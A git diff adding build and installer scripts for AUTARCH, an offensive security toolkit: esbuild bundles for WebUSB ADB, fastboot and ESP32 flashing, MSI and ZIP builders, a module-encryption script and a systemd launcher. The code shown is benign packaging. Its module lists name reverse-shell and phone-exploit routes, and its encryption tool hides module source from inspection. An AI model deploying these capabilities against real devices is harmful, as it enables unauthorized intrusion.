"" diff --git a/scripts/build-hw-libs.sh b/scripts/build-hw-libs.sh new file mode 100644 index 0000000..b8f1ed3 --- /dev/null +++ b/scripts/build-hw-libs.sh @@ -0,0 +1,54 @@ +#!/bin/bash +# Build browser-ready bundles for AUTARCH hardware direct-mode libraries +# Run from project root: bash scripts/build-hw-libs.sh +# +# Requires: npm install (run once to install dependencies) +# Output: web/static/js/lib/*.js (committed to project, no node needed at runtime) + +set -e + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(dirname "$SCRIPT_DIR")" +OUT_DIR="$PROJECT_DIR/web/static/js/lib" + +mkdir -p "$OUT_DIR" + +echo "Building hardware library bundles..." +echo "Output: $OUT_DIR" + +# ADB bundle (ya-webadb / Tango) +echo " [1/3] Building adb-bundle.js..." +npx esbuild "$PROJECT_DIR/src/adb-entry.js" \ + --bundle \ + --format=iife \ + --global-name=YumeAdb \ + --platform=browser \ + --target=chrome89 \ + --outfile="$OUT_DIR/adb-bundle.js" \ + --minify + +# Fastboot bundle +echo " [2/3] Building fastboot-bundle.js..." +npx esbuild "$PROJECT_DIR/src/fastboot-entry.js" \ + --bundle \ + --format=iife \ + --global-name=Fastboot \ + --platform=browser \ + --target=chrome89 \ + --outfile="$OUT_DIR/fastboot-bundle.js" \ + --minify + +# ESP32 bundle (esptool-js) +echo " [3/3] Building esptool-bundle.js..." +npx esbuild "$PROJECT_DIR/src/esptool-entry.js" \ + --bundle \ + --format=iife \ + --global-name=EspTool \ + --platform=browser \ + --target=chrome89 \ + --outfile="$OUT_DIR/esptool-bundle.js" \ + --minify + +echo "" +echo "Build complete:" +ls -lh "$OUT_DIR"/*.js diff --git a/scripts/build-msi.ps1 b/scripts/build-msi.ps1 new file mode 100644 index 0000000..1df72b6 --- /dev/null +++ b/scripts/build-msi.ps1 @@ -0,0 +1,62 @@ +# ═══════════════════════════════════════════════════════════════════════════ +# AUTARCH - Windows MSI Installer Builder +# +# Creates a Windows .msi installer using Python's built-in msilib. +# Packages the PyInstaller bundle (dist\bin\AUTARCH\) into an MSI. +# Output: dist\bin\AUTARCH-1.3-win64.msi +# +# Usage: +# powershell -ExecutionPolicy Bypass -File scripts\build-msi.ps1 +# +# Prerequisites: +# - Python 3.10+ (msilib is a Windows standard library module) +# - dist\bin\AUTARCH\ must exist (run build-exe.ps1 first) +# =============================================================================== + +param( + [string]$Python = "python" +) + +$ErrorActionPreference = "Stop" +$AppDir = Split-Path -Parent $PSScriptRoot + +Write-Host "" +Write-Host "===============================================" -ForegroundColor Cyan +Write-Host " AUTARCH .msi Builder (msilib)" -ForegroundColor Cyan +Write-Host "===============================================" -ForegroundColor Cyan +Write-Host "" + +$BundleDir = Join-Path $AppDir "dist\bin\AUTARCH" +if (-not (Test-Path (Join-Path $BundleDir "AUTARCH.exe"))) { + Write-Host "ERROR: dist\bin\AUTARCH\AUTARCH.exe not found." -ForegroundColor Red + Write-Host " Run build-exe.ps1 first to create the bundle." -ForegroundColor Yellow + exit 1 +} + +Set-Location $AppDir +Write-Host "Building MSI from dist\bin\AUTARCH\ bundle..." -ForegroundColor Yellow +Write-Host "" + +& $Python (Join-Path $AppDir "scripts\make_msi.py") + +if ($LASTEXITCODE -ne 0) { + Write-Host "" + Write-Host "ERROR: MSI build failed (exit code $LASTEXITCODE)" -ForegroundColor Red + exit $LASTEXITCODE +} + +$msiFiles = Get-ChildItem (Join-Path $AppDir "dist\bin") -Filter "*.msi" -ErrorAction SilentlyContinue + +Write-Host "" +Write-Host "===============================================" -ForegroundColor Green +Write-Host " MSI build complete!" -ForegroundColor Green +Write-Host "===============================================" -ForegroundColor Green +Write-Host "" +foreach ($msi in $msiFiles) { + $sizeMB = [math]::Round($msi.Length / 1MB, 1) + Write-Host " Output: $($msi.FullName) ($sizeMB MB)" -ForegroundColor White +} +Write-Host "" +Write-Host " Install: Double-click the .msi file" -ForegroundColor Cyan +Write-Host " Or: msiexec /i AUTARCH-1.3-win64.msi" -ForegroundColor Cyan +Write-Host "" diff --git a/scripts/build-windows.sh b/scripts/build-windows.sh new file mode 100644 index 0000000..a08f7fc --- /dev/null +++ b/scripts/build-windows.sh @@ -0,0 +1,266 @@ +#!/usr/bin/env bash +# ─────────────────────────────────────────────────────────────── +# AUTARCH Windows Package Builder +# +# Creates a standalone Windows-ready ZIP with: +# - All Python source + web assets +# - Batch launcher (autarch.bat) +# - PowerShell installer (install.ps1) +# - requirements.txt for pip install +# - Placeholder for Windows tools +# +# Usage: bash scripts/build-windows.sh [version] +# Output: dist/autarch_{version}_windows.zip +# +# NOTE: This builds a SOURCE distribution, not a frozen .exe. +# The install.ps1 script handles Python venv + dependency install. +# For a frozen .exe, run PyInstaller ON a Windows machine. +# ─────────────────────────────────────────────────────────────── +set -euo pipefail + +APP_NAME="autarch" +SRC_DIR="$(cd "$(dirname "$0")/.." && pwd)" + +# ── Determine version ──────────────────────────────────────── +if [[ ${1:-} ]]; then + VERSION="$1" +else + VERSION="$(grep -m1 '^VERSION' "$SRC_DIR/autarch.py" | sed 's/.*"\(.*\)".*/\1/')" + if [[ -z "$VERSION" ]]; then + echo "ERROR: Could not extract VERSION from autarch.py" >&2 + exit 1 + fi +fi + +echo "Building ${APP_NAME} ${VERSION} for Windows" + +# ── Paths ───────────────────────────────────────────────────── +DIST_DIR="$SRC_DIR/dist" +BUILD_DIR="$DIST_DIR/.win-build" +STAGE="$BUILD_DIR/${APP_NAME}_${VERSION}_windows" + +# Clean +rm -rf "$STAGE" +mkdir -p "$STAGE" + +# ── Copy application files ──────────────────────────────────── +echo "Copying application files..." + +# Core +cp "$SRC_DIR/autarch.py" "$STAGE/" +cp "$SRC_DIR/requirements.txt" "$STAGE/" + +# Config +cp "$SRC_DIR/autarch_settings.conf" "$STAGE/autarch_settings.conf" +cp "$SRC_DIR/autarch_settings.conf" "$STAGE/autarch_settings.conf.default" + +# User files +cp "$SRC_DIR/custom_sites.inf" "$STAGE/" +cp "$SRC_DIR/custom_adultsites.json" "$STAGE/" + +# Documentation +[[ -f "$SRC_DIR/GUIDE.md" ]] && cp "$SRC_DIR/GUIDE.md" "$STAGE/" +[[ -f "$SRC_DIR/user_manual.md" ]] && cp "$SRC_DIR/user_manual.md" "$STAGE/" + +# Directory trees +for dir in core modules web; do + cp -a "$SRC_DIR/$dir" "$STAGE/" +done + +# Data (sites db etc.) +cp -a "$SRC_DIR/data" "$STAGE/" + +# Config templates +if [[ -d "$SRC_DIR/.config" ]]; then + cp -a "$SRC_DIR/.config" "$STAGE/" +fi + +# Windows tools directory (placeholder — user downloads nmap/tshark etc.) +mkdir -p "$STAGE/tools/windows-x86_64" + +# Companion APK +APK="$SRC_DIR/autarch_companion/app/build/outputs/apk/debug/app-debug.apk" +if [[ -f "$APK" ]]; then + mkdir -p "$STAGE/companion" + cp "$APK" "$STAGE/companion/archon.apk" +fi + +# ── Strip excluded files ────────────────────────────────────── +echo "Stripping excluded files..." +find "$STAGE" -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null || true +find "$STAGE" -name "*.pyc" -delete 2>/dev/null || true +find "$STAGE" -name "*.bk" -delete 2>/dev/null || true +rm -rf "$STAGE/.claude" "$STAGE/node_modules" "$STAGE/src" +rm -f "$STAGE"/*_profiles.json +rm -f "$STAGE/system.inf" "$STAGE/backupexec_dump.mtf" +rm -f "$STAGE/DEVLOG.md" "$STAGE/devjournal.md" "$STAGE/autarch_dev.md" +rm -f "$STAGE/android_plan.md" "$STAGE/master_plan.md" +rm -f "$STAGE/package.json" "$STAGE/package-lock.json" "$STAGE/.gitignore" +for datadir in results dossiers data/captures data/exports data/hardware data/pentest_sessions data/uploads; do + rm -rf "$STAGE/$datadir" +done + +# ── Create Windows launcher (autarch.bat) ───────────────────── +cat > "$STAGE/autarch.bat" <<'BAT' +@echo off +REM AUTARCH Launcher for Windows +REM Uses Python virtual environment if available, falls back to system Python + +setlocal + +set "APP_DIR=%~dp0" + +if exist "%APP_DIR%venv\Scripts\python.exe" ( + "%APP_DIR%venv\Scripts\python.exe" "%APP_DIR%autarch.py" %* +) else ( + python "%APP_DIR%autarch.py" %* +) + +endlocal +BAT + +# ── Create web dashboard launcher ───────────────────────────── +cat > "$STAGE/start-web.bat" <<'BAT' +@echo off +REM Start AUTARCH Web Dashboard +setlocal + +set "APP_DIR=%~dp0" + +echo Starting AUTARCH Web Dashboard... +echo Open your browser to: http://localhost:8181 +echo Press Ctrl+C to stop. +echo. + +if exist "%APP_DIR%venv\Scripts\python.exe" ( + "%APP_DIR%venv\Scripts\python.exe" "%APP_DIR%autarch.py" --web %* +) else ( + python "%APP_DIR%autarch.py" --web %* +) + +endlocal +BAT + +# ── Create installer script (PowerShell) ────────────────────── +cat > "$STAGE/install.ps1" <<'PS1' +# AUTARCH Windows Installer +# Run: powershell -ExecutionPolicy Bypass -File install.ps1 + +Write-Host "" +Write-Host "================================" -ForegroundColor Green +Write-Host " AUTARCH Installer for Windows" -ForegroundColor Green +Write-Host "================================" -ForegroundColor Green +Write-Host "" + +$AppDir = Split-Path -Parent $MyInvocation.MyCommand.Path + +# Check Python +$python = Get-Command python -ErrorAction SilentlyContinue +if (-not $python) { + Write-Host "ERROR: Python not found. Install Python 3.10+ from python.org" -ForegroundColor Red + Write-Host "Make sure to check 'Add Python to PATH' during installation." -ForegroundColor Yellow + exit 1 +} + +$pyVer = python --version 2>&1 +Write-Host "Found: $pyVer" -ForegroundColor Cyan + +# Create virtual environment +$venvDir = Join-Path $AppDir "venv" +if (-not (Test-Path $venvDir)) { + Write-Host "Creating Python virtual environment..." -ForegroundColor Yellow + python -m venv $venvDir +} + +# Install dependencies +$pip = Join-Path $venvDir "Scripts\pip.exe" +Write-Host "Installing dependencies..." -ForegroundColor Yellow +& $pip install --quiet --upgrade pip +& $pip install --quiet -r (Join-Path $AppDir "requirements.txt") + +# Create data directories +$dataDirs = @("results", "dossiers", "data\captures", "data\exports", + "data\hardware", "data\pentest_sessions", "data\uploads") +foreach ($d in $dataDirs) { + $path = Join-Path $AppDir $d + if (-not (Test-Path $path)) { + New-Item -ItemType Directory -Path $path -Force | Out-Null + } +} + +# Create desktop shortcut +$desktop = [Environment]::GetFolderPath("Desktop") +$shortcutPath = Join-Path $desktop "AUTARCH.lnk" +$shell = New-Object -ComObject WScript.Shell +$shortcut = $shell.CreateShortcut($shortcutPath) +$shortcut.TargetPath = Join-Path $AppDir "autarch.bat" +$shortcut.WorkingDirectory = $AppDir +$shortcut.Description = "AUTARCH Security Platform" +$shortcut.Save() + +Write-Host "" +Write-Host "================================" -ForegroundColor Green +Write-Host " Installation complete!" -ForegroundColor Green +Write-Host "================================" -ForegroundColor Green +Write-Host "" +Write-Host "Run AUTARCH:" -ForegroundColor Cyan +Write-Host " CLI: autarch.bat" -ForegroundColor White +Write-Host " Web: start-web.bat" -ForegroundColor White +Write-Host " Manual: python autarch.py --manual" -ForegroundColor White +Write-Host "" +Write-Host "Desktop shortcut created." -ForegroundColor Yellow +Write-Host "" +PS1 + +# ── Create README for Windows ───────────────────────────────── +cat > "$STAGE/README-WINDOWS.txt" <<'README' +AUTARCH for Windows +=================== + +Quick Start: + 1. Run install.ps1 (right-click > Run with PowerShell) + This creates a Python environment and installs dependencies. + + 2. Double-click autarch.bat to start the CLI menu. + Or double-click start-web.bat for the browser dashboard. + +Requirements: + - Python 3.10 or newer (python.org - check "Add to PATH") + - Windows 10 or newer + +Optional Tools (place in tools\windows-x86_64\): + - nmap.exe (nmap.org) + - tshark.exe (wireshark.org) + - wg.exe (wireguard.com) + +Manual: + python autarch.py --manual (in terminal) + Open user_manual.md (any text editor/Markdown viewer) + http://localhost:8181/manual (when web dashboard is running) + +Companion App: + The Archon Android companion app APK is in the companion\ folder. + Install it on your phone via ADB or file transfer. +README + +# ── Create the ZIP ──────────────────────────────────────────── +echo "Creating ZIP archive..." +mkdir -p "$DIST_DIR" + +ZIP_NAME="${APP_NAME}_${VERSION}_windows.zip" +ZIP_OUT="$DIST_DIR/$ZIP_NAME" + +(cd "$BUILD_DIR" && zip -r -q "$ZIP_OUT" "$(basename "$STAGE")") + +# ── Clean up ────────────────────────────────────────────────── +rm -rf "$BUILD_DIR" + +# ── Summary ─────────────────────────────────────────────────── +ZIP_SIZE=$(du -h "$ZIP_OUT" | cut -f1) +echo "" +echo "════════════════════════════════════════════════════" +echo " Package: $ZIP_OUT" +echo " Size: $ZIP_SIZE" +echo "════════════════════════════════════════════════════" +echo "" +echo "Transfer this ZIP to a Windows machine and run install.ps1" diff --git a/scripts/encrypt_module.py b/scripts/encrypt_module.py new file mode 100644 index 0000000..8eba475 --- /dev/null +++ b/scripts/encrypt_module.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python3 +""" +encrypt_module.py — Encrypt a Python module into AUTARCH .aes format. + +Usage: + python scripts/encrypt_module.py [output.aes] [--password P] [--name N] + +Examples: + python scripts/encrypt_module.py modules/encmod_sources/floppy_dick.py + python scripts/encrypt_module.py mymod.py modules/encrypted/mymod.aes --password s3cr3t + python scripts/encrypt_module.py mymod.py --password s3cr3t --name "My Module" --version 1.1 +""" + +import argparse +import getpass +import json +import sys +from pathlib import Path + +SRC_DIR = Path(__file__).parent.parent +sys.path.insert(0, str(SRC_DIR)) + + +def main(): + parser = argparse.ArgumentParser(description='Encrypt a Python module to AUTARCH .aes format') + parser.add_argument('source', help='Path to the source .py file') + parser.add_argument('output', nargs='?', help='Output .aes path (default: modules/encrypted/.aes)') + parser.add_argument('--password', '-p', default='', help='Encryption password (prompted if omitted)') + parser.add_argument('--name', default='', help='Display name for the module') + parser.add_argument('--version', default='1.0', help='Module version (default: 1.0)') + parser.add_argument('--author', default='', help='Module author') + parser.add_argument('--description', default='', help='Module description') + parser.add_argument('--tags', default='', help='Comma-separated tags') + args = parser.parse_args() + + src = Path(args.source) + if not src.exists(): + print(f"ERROR: Source file not found: {src}", file=sys.stderr) + sys.exit(1) + + # Determine output path + if args.output: + out = Path(args.output) + else: + enc_dir = SRC_DIR / 'modules' / 'encrypted' + enc_dir.mkdir(parents=True, exist_ok=True) + out = enc_dir / (src.stem + '.aes') + + # Get password + password = args.password + if not password: + password = getpass.getpass(f"Encryption password for {src.name}: ") + confirm = getpass.getpass("Confirm password: ") + if password != confirm: + print("ERROR: Passwords do not match.", file=sys.stderr) + sys.exit(1) + if not password: + print("ERROR: Password cannot be empty.", file=sys.stderr) + sys.exit(1) + + # Build metadata + tags = [t.strip() for t in args.tags.split(',') if t.strip()] + metadata = { + 'name': args.name or src.stem.replace('_', ' ').title(), + 'version': args.version, + 'author': args.author, + 'description': args.description, + 'tags': tags, + 'source': src.name, + } + + # Encrypt + from core.module_crypto import encrypt_file + encrypt_file(src, out, password, metadata) + + size_kb = round(out.stat().st_size / 1024, 1) + print(f" Encrypted: {src.name} -> {out} ({size_kb} KB)") + print(f" Name: {metadata['name']}") + print(f" Version: {metadata['version']}") + print(f" Tags: {', '.join(tags) or '(none)'}") + print() + print(" Copy the .aes file to modules/encrypted/ and it will appear in the web UI.") + + +if __name__ == '__main__': + main() diff --git a/scripts/make_msi.py b/scripts/make_msi.py new file mode 100644 index 0000000..a11bcd1 --- /dev/null +++ b/scripts/make_msi.py @@ -0,0 +1,176 @@ +""" +make_msi.py — Create an MSI installer for AUTARCH using Python's built-in msilib. + +Packages the contents of dist/bin/AUTARCH/ (PyInstaller one-dir build) into +a Windows Installer .msi file at dist/bin/AUTARCH-{VERSION}-win64.msi. + +Usage: + python scripts/make_msi.py + +Requires: + - dist/bin/AUTARCH/ to exist (run PyInstaller first) + - Windows (msilib is Windows-only) +""" + +import msilib +import msilib.schema +import msilib.sequence +import msilib.text +import os +import sys +import uuid +from pathlib import Path + +# ── Configuration ───────────────────────────────────────────────────────────── +SRC_DIR = Path(__file__).parent.parent +BUNDLE_DIR = SRC_DIR / 'dist' / 'bin' / 'AUTARCH' +BIN_DIR = SRC_DIR / 'dist' / 'bin' +VERSION = '1.3' +APP_NAME = 'AUTARCH' +MANUFACTURER = 'darkHal Security Group' +PRODUCT_CODE = '{6E4A2B35-C8F1-4D28-A91E-8D4F7C3B2A91}' +UPGRADE_CODE = '{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}' +MSI_OUT = BIN_DIR / f'AUTARCH-{VERSION}-win64.msi' + +# ───────────────────────────────────────────────────────────────────────────── + +def make_id(s: str, prefix: str = '') -> str: + """Create a valid MSI identifier from a string (max 72 chars, no spaces/slashes).""" + safe = s.replace('\\', '_').replace('/', '_').replace(' ', '_').replace('.', '_').replace('-', '_') + result = (prefix + safe)[:72] + if result and result[0].isdigit(): + result = '_' + result[1:] + return result + + +def collect_files(bundle_dir: Path): + """Walk the bundle directory and return (relative_path, abs_path) tuples.""" + items = [] + for path in sorted(bundle_dir.rglob('*')): + if path.is_file(): + rel = path.relative_to(bundle_dir) + items.append((rel, path)) + return items + + +def build_msi(): + if not BUNDLE_DIR.exists(): + print(f"ERROR: Bundle directory not found: {BUNDLE_DIR}") + print("Run PyInstaller first: pyinstaller autarch.spec --distpath dist/bin") + sys.exit(1) + + BIN_DIR.mkdir(parents=True, exist_ok=True) + + print(f"Packaging {BUNDLE_DIR} -> {MSI_OUT}") + + files = collect_files(BUNDLE_DIR) + print(f" Files to package: {len(files)}") + + # ── Create the MSI database ─────────────────────────────────────────────── + db = msilib.init_database( + str(MSI_OUT), + msilib.schema, + APP_NAME, + PRODUCT_CODE, + VERSION, + MANUFACTURER, + ) + msilib.add_tables(db, msilib.sequence) + + # ── Property table (extend — init_database already set some base properties) ── + # Use the low-level view to INSERT only new properties + try: + msilib.add_data(db, 'Property', [ + ('ALLUSERS', '1'), + ('ARPNOMODIFY', '1'), + ]) + except Exception: + pass # Properties may already exist from init_database; skip + + # ── Directory structure ─────────────────────────────────────────────────── + # Collect all unique subdirectories + dirs = {} + dirs['TARGETDIR'] = ('TARGETDIR', 'SourceDir') + dirs['ProgramFilesFolder'] = ('TARGETDIR', 'PFiles') + dirs['INSTALLFOLDER'] = ('ProgramFilesFolder', f'{APP_NAME}|{APP_NAME}') + + subdir_set = set() + for rel, _ in files: + parts = rel.parts[:-1] # directory parts (no filename) + for depth in range(len(parts)): + sub = '\\'.join(parts[:depth + 1]) + subdir_set.add(sub) + + # Map subdir path → directory ID + dir_id_map = {'': 'INSTALLFOLDER'} + dir_rows = [ + ('TARGETDIR', None, 'SourceDir'), + ('ProgramFilesFolder', 'TARGETDIR', '.'), + ('INSTALLFOLDER', 'ProgramFilesFolder', APP_NAME), + ] + + for sub in sorted(subdir_set): + parts = sub.split('\\') + parent_path = '\\'.join(parts[:-1]) + parent_id = dir_id_map.get(parent_path, 'INSTALLFOLDER') + dir_id = make_id(sub, 'dir_') + dir_id_map[sub] = dir_id + short_name = parts[-1][:8] # 8.3 name (simplified) + long_name = parts[-1] + dir_name = f'{short_name}|{long_name}' if short_name != long_name else long_name + dir_rows.append((dir_id, parent_id, dir_name)) + + msilib.add_data(db, 'Directory', dir_rows) + + # ── Feature ─────────────────────────────────────────────────────────────── + msilib.add_data(db, 'Feature', [ + ('Main', None, 'AUTARCH Application', 'Complete AUTARCH installation', 1, 1, None, 32), + ]) + + # ── Components and files ────────────────────────────────────────────────── + comp_rows = [] + file_rows = [] + feat_comp = [] + + for idx, (rel, abs_path) in enumerate(files): + parts = rel.parts + subdir_key = '\\'.join(parts[:-1]) + dir_id = dir_id_map.get(subdir_key, 'INSTALLFOLDER') + comp_id = f'c{idx}' + file_id = f'f{idx}' + comp_guid = str(uuid.uuid5(uuid.UUID(UPGRADE_CODE), str(rel))).upper() + comp_guid = '{' + comp_guid + '}' + + # Component row: (Component, ComponentId, Directory_, Attributes, Condition, KeyPath) + comp_rows.append((comp_id, comp_guid, dir_id, 0, None, file_id)) + + # File row: (File, Component_, FileName, FileSize, Version, Language, Attributes, Sequence) + fname = parts[-1] + short = fname[:8] + long = fname + file_name = f'{short}|{long}' if short != long else long + file_size = abs_path.stat().st_size + file_rows.append((file_id, comp_id, file_name, file_size, None, None, 512, idx + 1)) + + # FeatureComponents: (Feature_, Component_) + feat_comp.append(('Main', comp_id)) + + msilib.add_data(db, 'Component', comp_rows) + msilib.add_data(db, 'File', file_rows) + msilib.add_data(db, 'FeatureComponents', feat_comp) + + # ── Media / cabinet ────────────────────────────────────────────────────── + # CAB.commit() embeds the cabinet, adds the Media row, and calls db.Commit() + cab = msilib.CAB('autarch.cab') + for idx, (rel, abs_path) in enumerate(files): + # append(full_path, file_id, logical_name_in_cab) + cab.append(str(abs_path), f'f{idx}', rel.name) + + cab.commit(db) # handles Media table insert + db.Commit() internally + + size_mb = round(MSI_OUT.stat().st_size / (1024 * 1024), 1) + print(f"\n OK: MSI created: {MSI_OUT} ({size_mb} MB)") + + +if __name__ == '__main__': + build_msi() diff --git a/setup_freeze.py b/setup_freeze.py new file mode 100644 index 0000000..1da36ad --- /dev/null +++ b/setup_freeze.py @@ -0,0 +1,86 @@ +""" +cx_Freeze setup for AUTARCH Windows MSI installer. + +Usage: + pip install cx_Freeze + python setup_freeze.py bdist_msi + +Output: dist/bin/autarch-1.3-win64.msi (or similar) +""" + +import sys +from pathlib import Path +from cx_Freeze import setup, Executable + +SRC = Path(__file__).parent +VERSION = "1.3" + +# ── Data files ──────────────────────────────────────────────────────────────── +include_files = [ + # Web assets + (str(SRC / 'web' / 'templates'), 'lib/web/templates'), + (str(SRC / 'web' / 'static'), 'lib/web/static'), + + # Data directory + (str(SRC / 'data'), 'lib/data'), + + # Modules (dynamically imported) + (str(SRC / 'modules'), 'lib/modules'), + + # Docs and config + (str(SRC / 'autarch_settings.conf'), 'autarch_settings.conf'), + (str(SRC / 'user_manual.md'), 'user_manual.md'), + (str(SRC / 'windows_manual.md'), 'windows_manual.md'), + (str(SRC / 'custom_sites.inf'), 'custom_sites.inf'), + (str(SRC / 'custom_adultsites.json'), 'custom_adultsites.json'), + + # Android tools + (str(SRC / 'android'), 'android'), + (str(SRC / 'tools'), 'tools'), +] + +# ── Build options ───────────────────────────────────────────────────────────── +build_options = { + 'packages': [ + 'flask', 'jinja2', 'werkzeug', 'markupsafe', 'bcrypt', + 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL', + 'core', 'web', 'modules', + ], + 'excludes': ['tkinter', 'matplotlib', 'torch', 'transformers'], + 'include_files': include_files, + 'path': [str(SRC)] + sys.path, + 'build_exe': str(SRC / 'dist' / 'bin' / 'AUTARCH-build'), +} + +# ── MSI-specific options ────────────────────────────────────────────────────── +bdist_msi_options = { + 'add_to_path': True, + 'initial_target_dir': r'[ProgramFilesFolder]\AUTARCH', + 'product_code': '{6E4A2B35-C8F1-4D28-A91E-8D4F7C3B2A91}', + 'upgrade_code': '{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}', + 'install_icon': None, + 'summary_data': { + 'author': 'darkHal Security Group', + 'comments': 'AUTARCH Security Platform', + 'keywords': 'security, pentest, OSINT, AI', + }, +} + +setup( + name='AUTARCH', + version=VERSION, + description='AUTARCH — Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking', + author='darkHal Security Group & Setec Security Labs', + options={ + 'build_exe': build_options, + 'bdist_msi': bdist_msi_options, + }, + executables=[ + Executable( + script='autarch.py', + target_name='AUTARCH.exe', + base='Console', # Console app (not GUI) + icon=None, + ) + ], +) diff --git a/setup_msi.py b/setup_msi.py new file mode 100644 index 0000000..6a4b599 --- /dev/null +++ b/setup_msi.py @@ -0,0 +1,80 @@ +"""cx_Freeze MSI builder for AUTARCH Public Release. + +Usage: python setup_msi.py bdist_msi +Output: dist/autarch_public-*.msi +""" + +import sys +from pathlib import Path +from cx_Freeze import setup, Executable + +SRC = Path(__file__).parent + +# Files/dirs to include alongside the executable +include_files = [ + (str(SRC / 'web' / 'templates'), 'web/templates'), + (str(SRC / 'web' / 'static'), 'web/static'), + (str(SRC / 'data'), 'data'), + (str(SRC / 'modules'), 'modules'), + (str(SRC / 'autarch_settings.conf'), 'autarch_settings.conf'), + (str(SRC / 'user_manual.md'), 'user_manual.md'), + (str(SRC / 'windows_manual.md'), 'windows_manual.md'), +] + +# Only add files that exist +include_files = [(s, d) for s, d in include_files if Path(s).exists()] + +build_exe_options = { + 'packages': [ + 'flask', 'jinja2', 'werkzeug', 'markupsafe', + 'bcrypt', 'requests', 'core', 'web', 'web.routes', 'modules', + ], + 'includes': [ + 'core.config', 'core.paths', 'core.banner', 'core.menu', + 'core.llm', 'core.agent', 'core.tools', + 'core.msf', 'core.msf_interface', + 'core.hardware', 'core.android_protect', + 'core.upnp', 'core.wireshark', 'core.wireguard', + 'core.mcp_server', 'core.discovery', + 'core.sites_db', 'core.cve', + 'web.app', 'web.auth', + 'web.routes.auth_routes', 'web.routes.dashboard', + 'web.routes.defense', 'web.routes.offense', + 'web.routes.counter', 'web.routes.analyze', + 'web.routes.osint', 'web.routes.simulate', + 'web.routes.settings', 'web.routes.upnp', + 'web.routes.wireshark', 'web.routes.hardware', + 'web.routes.android_exploit', 'web.routes.iphone_exploit', + 'web.routes.android_protect', 'web.routes.wireguard', + 'web.routes.revshell', 'web.routes.archon', + 'web.routes.msf', 'web.routes.chat', + 'web.routes.targets', 'web.routes.encmodules', + ], + 'excludes': ['torch', 'transformers', 'llama_cpp', 'anthropic', + 'tkinter', 'matplotlib', 'numpy'], + 'include_files': include_files, +} + +bdist_msi_options = { + 'upgrade_code': '{A07B3D2E-5F1C-4D8A-9E6B-0C2F7A8D4E1B}', + 'add_to_path': False, + 'initial_target_dir': r'[ProgramFilesFolder]\AUTARCH', +} + +setup( + name='AUTARCH', + version='1.0.0', + description='AUTARCH — Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking', + author='darkHal Security Group & Setec Security Labs', + options={ + 'build_exe': build_exe_options, + 'bdist_msi': bdist_msi_options, + }, + executables=[ + Executable( + 'autarch.py', + target_name='autarch_public', + base=None, # console application + ), + ], +) diff --git a/src/adb-entry.js b/src/adb-entry.js new file mode 100644 index 0000000..608d5dc --- /dev/null +++ b/src/adb-entry.js @@ -0,0 +1,12 @@ +// Entry point for ya-webadb (Tango) browser bundle +// Bundles WebUSB-based ADB access into window.YumeAdb + +export { + AdbDaemonWebUsbDeviceManager, + AdbDaemonWebUsbDevice, +} from '@yume-chan/adb-daemon-webusb'; + +export { + Adb, + AdbDaemonTransport, +} from '@yume-chan/adb'; diff --git a/src/esptool-entry.js b/src/esptool-entry.js new file mode 100644 index 0000000..f7b3e99 --- /dev/null +++ b/src/esptool-entry.js @@ -0,0 +1,4 @@ +// Entry point for esptool-js browser bundle +// Bundles Web Serial ESP32 flashing into window.EspTool + +export { ESPLoader, Transport } from 'esptool-js'; diff --git a/src/fastboot-entry.js b/src/fastboot-entry.js new file mode 100644 index 0000000..cdb2c2d --- /dev/null +++ b/src/fastboot-entry.js @@ -0,0 +1,4 @@ +// Entry point for fastboot.js browser bundle +// Use the .mjs (ESM) build directly to avoid Node.js CJS URL import issue + +export { FastbootDevice, setDebugLevel } from 'android-fastboot/dist/fastboot.mjs'; diff --git a/start_web.sh b/start_web.sh new file mode 100644 index 0000000..b02feb6 --- /dev/null +++ b/start_web.sh @@ -0,0 +1,80 @@ +#!/bin/bash +# AUTARCH Web Dashboard — install & start as systemd service +# Usage: bash start_web.sh [stop|restart|status] + +set -e + +SERVICE="autarch-web" +SERVICE_SRC="$(dirname "$(readlink -f "$0")")/scripts/autarch-web.service" +SERVICE_DST="/etc/systemd/system/${SERVICE}.service" + +RED='\033[0;31m'; GREEN='\033[0;32m'; CYAN='\033[0;36m'; RESET='\033[0m' + +action="${1:-start}" + +case "$action" in + stop) + sudo systemctl stop "$SERVICE" 2>/dev/null && echo -e "${GREEN}[+] Stopped${RESET}" || echo -e "${RED}[!] Not running${RESET}" + exit 0 + ;; + restart) + sudo systemctl restart "$SERVICE" && echo -e "${GREEN}[+] Restarted${RESET}" + exit 0 + ;; + status) + systemctl status "$SERVICE" --no-pager 2>/dev/null || echo -e "${RED}[!] Service not installed${RESET}" + exit 0 + ;; + start) ;; # fall through + *) + echo "Usage: $0 [start|stop|restart|status]" + exit 1 + ;; +esac + +# Install service file if missing or outdated +if [ ! -f "$SERVICE_DST" ] || ! diff -q "$SERVICE_SRC" "$SERVICE_DST" >/dev/null 2>&1; then + echo -e "${CYAN}[*] Installing systemd service...${RESET}" + sudo cp "$SERVICE_SRC" "$SERVICE_DST" + sudo systemctl daemon-reload +fi + +# Enable on boot +sudo systemctl enable "$SERVICE" --quiet 2>/dev/null + +# Stop if already running (clean restart) +sudo systemctl stop "$SERVICE" 2>/dev/null || true + +# Start +sudo systemctl start "$SERVICE" + +sleep 1 +if systemctl is-active --quiet "$SERVICE"; then + # Get configured port + PORT=$(python3 -c " +import sys; sys.path.insert(0, '$(dirname "$(readlink -f "$0")")') +from core.config import get_config +c = get_config() +print(c.get_int('web', 'port', fallback=8181)) +" 2>/dev/null || echo 8181) + + HTTPS=$(python3 -c " +import sys; sys.path.insert(0, '$(dirname "$(readlink -f "$0")")') +from core.config import get_config +c = get_config() +print(c.get('web', 'https', fallback='true')) +" 2>/dev/null || echo true) + + if [ "$HTTPS" = "false" ]; then PROTO="http"; else PROTO="https"; fi + + # Get LAN IP + IP=$(hostname -I 2>/dev/null | awk '{print $1}') + [ -z "$IP" ] && IP="localhost" + + echo -e "${GREEN}[+] AUTARCH Web Dashboard running${RESET}" + echo -e " ${PROTO}://${IP}:${PORT}" + echo -e " Logs: journalctl -u ${SERVICE} -f" +else + echo -e "${RED}[X] Failed to start. Check: journalctl -u ${SERVICE} -e${RESET}" + exit 1 +fi diff --git a/system.inf b/system.inf new file mode 100644 index 0000000..98e8a22 --- /dev/null +++ b/system.inf @@ 